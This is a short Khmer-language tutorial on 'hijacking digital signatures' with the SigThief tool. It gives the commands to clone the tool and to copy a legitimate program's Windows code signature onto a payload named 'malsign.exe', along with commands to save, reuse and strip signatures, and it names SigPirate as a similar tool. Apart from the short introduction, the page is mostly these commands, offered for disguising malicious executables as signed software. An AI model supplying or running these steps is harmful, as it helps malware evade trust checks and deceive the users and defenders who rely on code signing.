Hijacking Digital Signatures

មានវិធីសាស្ត្រជាច្រើនក្នុងការលួចយក ឬ ចម្លងយក Digital Signatures ចេញពីឯកសារពិតប្រាកដណាមួយនៅក្នុងប្រព័ន្ធវីនដូ ។ តែថ្ងៃនេះយើងនឹងមកមើលឧបករណ៍មួយដែលអាចជួយឲ្យមានភាពងាយស្រួលក្នុងការលួចយក Signatures ដែលមាននៅក្នុងឯកសារ Binary រួចដាក់បញ្ជូលទៅក្នុង Payload បានយ៉ាងឆាប់រហ័ស ។

Digital Signatures Hijacking Tools

SigThif ងាយៗជាមួយ SigThif ក្នុងការលួចយក Signatures ពីកម្មវិធីជាច្រើននៅក្នងវីនដូ ។

វិធីប្រើ

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


git clone https://github.com/secretsquirrel/SigThief.git
cd SigThief

// លួចយក Signature ចេញពីកម្មវិធីរួចដាក់ចូលទៅក្នុង Payload
python3 sigthief.py -i putty.exe -t payload.exe -o malsign.exe

// យក Signature ចេញ និងរក្សាទុកប្រើពេលក្រោយ
python3 sigthief.py -i putty.exe -r

// យក Signature ដែលរក្សាទុកមកប្រើប្រាស់វិញ
python3 sigthief.py -s putty.exe_sig -t payload.exe

// លុប Signature ចេញពី Binary
python3 sigthief.py -i anybinary.exe -T

Raw Code Pastebin

ក៏មានឧបករណ៍មួយទៀតដែរ ដែលអាចប្រើបាននៅក្នុងវីនដូម៉ាស៊ីនឈ្មោះថា SigPirate ដែលមានភាពងាយស្រួលប្រើដូចគ្នា ៕

Hijacking Digital Signatures

Digital Signatures Hijacking Tools

វិធីប្រើ

See Also